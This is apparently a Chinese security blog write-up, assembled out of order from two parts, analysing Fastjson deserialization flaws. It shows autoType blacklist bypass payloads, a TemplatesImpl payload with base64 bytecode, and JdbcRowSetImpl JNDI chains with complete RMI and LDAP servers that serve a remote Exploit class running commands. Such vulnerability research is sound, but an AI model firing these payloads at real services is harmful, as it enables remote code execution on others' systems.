这里具体名单就不放出,链接已放

0x02 1.2.25-1.2.41补丁绕过

绕过利用

本地fastjson用的是1.2.41版本。

这里Demo还是用的上一篇文章基于JdbcRowSetImpl的利用链的PoC。

直接运行的话会报错,原因就是checkAutoType()函数中的黑名单过滤了”com.sun.”

图片

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

上面这里直接给出payload
关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;

注意是要开启AutoTypeSupport的,添加以下代码就ok了:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

(加在JNDIClient也就是客户端)
直接运行即可绕过checkAutoType()黑名单实现弹计算器

图片

调试分析

我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤

我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验,再往下开始调用TypeUtils.loadClass()

图片

图片

跟进TypeUtils.loadClass()函数,这里我们在之前的文章中年已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过

图片

图片

0x03 1.2.25-1.2.42补丁绕过

绕过利用

先直接给出payload:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;
在1.2.22-1.2.42版本运行都能成功触发:

图片

调试分析

自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单

在checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作

图片

图片

但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。

后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;进行denyList黑名单过滤,也就顺利绕过了。

注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;

图片

图片

为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名

图片

图片

0x04 1.2.25-1.2.43补丁绕过

绕过利用

直接给出payload:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC:[com.sun.rowset.JdbcRowSetImpl
但是如果我们一开始payload直接这样写是会报错的:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload,在第一个逗号前面加个”[“

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

因此就修改得到最终版payload,能够成功触发

调试分析

调试发现,在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错

图片

但是以”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。

继续往下调试,在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

图片

图片

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化

图片

图片

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里

图片

把这些条件一一满足后,就能成功利用了

0x05 1.2.25-1.2.45补丁绕过

绕过利用

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

直接给出payload,要连LDAP或RMI都可以:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到

运行即可成功触发

调试分析

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常:

图片

图片

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的

图片

图片

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<init>:10, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
main:8, JdbcRowSetImplPoc

0x01 影响版本

Fastjson 1.2.x系列的1.2.22-1.2.24版本。

0x02 复现

对于Fastjson 1.2.22-1.2.24 版本的反序列化漏洞的利用,目前已知的主要有以下的利用链:

  • 基于TemplateImpl;
  • 基于JNDI

    基于TemplateImpl的利用链

参考廖新喜大佬的博客

限制

需要设置Feature.SupportNonPublicField进行反序列化操作才能成功触发利用。

复现利用

恶意类Test.java,为啥需要继承AbstractTranslet类在后面具体看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec(“calc”);
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

这里将恶意类编译成class文件,然后我通过一个py脚本进行base64编码以及生成payload:

1
2
3
4
5
6
7
import base64

fin = open(r"Test.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print(poc)

运行即可弹出计算器:

1
2
3
4
5
6
7
8
9
10
package fastjson;

import com.alibaba.fastjson.JSON;

public class Poc {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(payload);
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}

来看生成的poc

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

PoC中几个重要的Json键的含义:

  • @type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField
  • _bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
  • _outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
  • _tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置

    调试分析

下面我们直接在反序列化的那句代码上打上断点进行调试分析

1
JSON.parseObject(payload,Feature.SupportNonPublicField);

在JSON.parseObject()中会调用DefaultJSONParser.parseObject(),而DefaultJSONParser.parseObject()中调用了JavaObjectDeserializer.deserialze()函数进行反序列化
图片

图片

跟进该函数,发现会返回去调用DefaultJSONParser.parse()函数

图片

继续调试,在DefaultJSONParser.parse()里是对JSON内容进行扫描,在switch语句中匹配上了”{“即对应12,然后对JSON数据调用DefaultJSONParser.parseObject()进行解析

图片

图片

在DefaultJSONParser.parseObject()中,通过for语句循环解析JSON数据内容,其中skipWhitespace()函数用于去除数据中的空格字符,然后获取当前字符是否为双引号,是的话就调用scanSymbol()获取双引号内的内容,这里得到第一个双引号里的内容为”@type”:

图片

图片

往下调试,判断key是否为@type且是否关闭了Feature.DisableSpecialKeyDetect设置,通过判断后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并调用TypeUtils.loadClass()函数加载该类

图片

图片

跟进去,看到如红框的两个判断语句代码逻辑,是判断当前类名是否以”[“开头或以”L”开头以”;”结尾,当然本次调试分析是不会进入到这两个逻辑,但是后面的补丁绕过中利用到了这两个条件判断,也就是说这两个判断条件是后面补丁绕过的漏洞点,值得注意

图片

往下看,通过ClassLoader.loadClass()加载到目标类后,然后将该类名和类缓存到Map中,最后返回该加载的类

图片

图片

返回后,程序继续回到DefaultJSONParser.parseObject()中往下执行,在最后调用JavaBeanDeserializer.deserialze()对目标类进行反序列化

图片

跟进去,循环扫描解析,解析到key为_bytecodes时,调用parseField()进一步解析

图片

图片

在parseField()中,会调用DefaultFieldDeserializer.parseField()对_bytecodes对应的内容进行解析

图片

图片

跟进DefaultFieldDeserializer.parseField()函数中,解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

图片

图片

FieldDeserializer.setValue()函数,看到是调用private byte[][] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes的set方法来设置_bytecodes的值

图片

图片

返回之后,后面也是一样的,循环处理JSON数据中的其他键值内容。

当解析到_outputProperties的内容时,看到前面的下划线被去掉了

图片

图片

跟进该方法,发现会通过反射机制调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法,可以看到该方法类型是Properties、满足之前我们得到的结论即Fastjson反序列化会调用被反序列化的类的某些满足条件的getter方法

图片

跟进去,在getOutputProperties()方法中调用了newTransformer().getOutputProperties()方法

图片

跟进TemplatesImpl.newTransformer()方法,看到调用了getTransletInstance()方法

图片

继续跟进去查看getTransletInstance()方法,可以看到已经解析到Test类并新建一个Test类实例,注意前面会先调用defineTransletClasses()方法来生成一个Java类(Test类)

图片

再往下就是新建Test类实例的过程,并调用Test类的构造函数

整个调试过程主要的函数调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<init>:11, Test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getTransletInstance:408, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:460, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:35, PoC

最后的调用过滤再具体说下:在getTransletInstance()函数中调用了defineTransletClasses()函数,在defineTransletClasses()函数中会根据_bytecodes来生成一个Java类(这里为恶意类Test),其构造方法中含有命令执行代码,生成的Java类随后会被newInstance()方法调用生成一个实例对象,从而该类的构造函数被自动调用,进而造成任意代码执行

为什么恶意类需要继承AbstractTranslet类

在前面的调试分析中,getTransletInstance()函数会先调用defineTransletClasses()方法来生成一个Java类,我们跟进这个defineTransletClasses()方法查看下

图片

可以看到有个逻辑会判断恶意类的父类类名是否是ABSTRACT_TRANSLET,是的话_transletIndex变量的值被设置为0,到后面的if判断语句中就不会被识别为<0而抛出异常终止程序。

为什么需要对_bytecodes进行Base64编码

可以发现,在PoC中的_bytecodes字段是经过Base64编码的。为什么要怎么做呢?分析Fastjson对JSON字符串的解析过程,原理Fastjson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对_bytecodes字段进行Base64加密处理。

其中Fastjson的处理代码如下,在ObjectArrayCodec.deserialze()函数中会调用lexer.bytesValue()对byte数组进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA);
return null;
}

if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}

跟进bytesValue()函数,就是对_bytecodes的内容进行Base64解码
图片

为什么需要设置_tfactory为{}

由前面的调试分析知道,在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()函数是用于生成Java类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()方法,若_tfactory为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用:

图片

为什么反序列化调用getter方法时会调用到TemplatesImpl.getOutputProperties()方法

getOutputProperties()方法是个无参数的非静态的getter方法,以get开头且第四个字母为大写形式,其返回值类型是Properties即继承自Map类型,满足Fastjson反序列化时会调用的getter方法的条件,因此在使用Fastjson对TemplatesImpl类对象进行反序列化操作时会自动调用getOutputProperties()方法。

如何关联_outputProperties与getOutputProperties()方法

Fastjson会语义分析JSON字符串,根据字段key,调用fieldList数组中存储的相应方法进行变量初始化赋值。

具体的代码在JavaBeanDeserializer.parseField()中,其中调用了smartMatch()方法

1
2
3
4
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx

FieldDeserializer fieldDeserializer = smartMatch(key);

在JavaBeanDeserializer.smartMatch()方法中,会替换掉字段key中的_,从而使得_outputProperties变成了outputProperties
图片

图片

既然已经得到了outputProperties属性了,那么自然而然就会调用到getOutputProperties()方法

基于JdbcRowSetImpl的利用链

基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP

限制

由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

JNDI+RMI复现利用

PoC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}

JNDIServer.java,RMI服务,注册表绑定了Exploit服务,该服务是指向恶意Exploit.class文件所在服务器的Reference

1
2
3
4
5
6
7
8
9
10
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://127.0.0.1:8000/Exploit.class即可
Reference reference = new Reference("Exloit",
"Exploit","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

Exploit.java,恶意类,单独编译成class文件并放置于RMI服务指向的三方Web服务中,作为一个Factory绑定在注册表服务中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Exploit{
public Exploit() {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}

public static void main(String[] args) {
Exploit e = new Exploit();
}
}

JdbcRowSetImplPoc.java:

1
2
3
4
5
6
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

先运行JNDI的RMI服务,将恶意类Exploit.class单独放置于一个三方的Web服务中,然后运行PoC即可弹计算器,且看到访问了含有恶意类的Web服务

JNDI+LDAP复现利用

PoC如下,跟RMI的相比只是改了URL而已

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

但是相比RMI的利用方式,优势在于JDK的限制更低了。
LdapServer.java,区别在于将之前的RMI服务端换成LDAP服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8000/#Exploit";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

Exploit.java不变。
JdbcRowSetImplPoC.java中修改payload中的dataSourceName的值为指向LDAP服务端地址即可

1
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";

调试分析

虽然前面两个复现利用是用的不同的服务,但是都是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来触发的,漏洞点都是JNDI注入导致的。

JSON.parse(payload);处打下断点开始往下调试。

前面的函数调用过程和基于TemplateImpl的调试分析几乎是一样的,只看下区别的地方。

调用scanSymbol()函数扫描到com.sun.rowset.JdbcRowSetImpl类后,再调用TypeUtils.loadClass()函数将该类加载进来

图片

往下调试,调用了FastjsonASMDeserializer.deserialze()函数对该类进行反序列化操作

图片

继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可。

由于PoC设置了dataSourceName键值和autoCommit键值,因此在JdbcRowSetImpl中的setDataSourceName()和setAutoCommit()函数都会被调用,因为它们均满足前面说到的Fastjson在反序列化时会自动调用的setter方法的特征。

先是调试到了setDataSourceName()函数,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect()函数,看到了熟悉的JNDI注入的代码即InitialContext.lookup(),并且其参数是调用this.getDataSourceName()获取的、即在前面setDataSourceName()函数中设置的值,因此lookup参数外部可控,导致存在JNDI注入漏洞

图片

再往下就是JNDI注入的调用过程了,最后是成功利用JNDI注入触发Fastjson反序列化漏洞、达到任意命令执行效果。

调试过程的函数调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:654, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JdbcRowSetImplPoc

这里漏洞触发点是JSON.parse(payload);,改成用JSON.parseObject(payload);也是可以成功利用的。
我们将JSON.parse()换成JSON.parseObject()再调试一遍会发现,JSON.parseObject()会调用到JSON.parse()、再调用DefaultJSONParser.parse(),也就是说JSON.parseObject()本质上还是调用JSON.parse()进行反序列化的,区别不过是parseObject()会额外调用JSON.toJSON()来将Java对象专为JSONObject对象。两者的反序列化的操作时一样的,因此都能成功触发

0x03 补丁分析

这里下载1.2.25版本的jar包看下是怎么修补的。

checkAutoType()

修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数

图片

看下checkAutoType()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
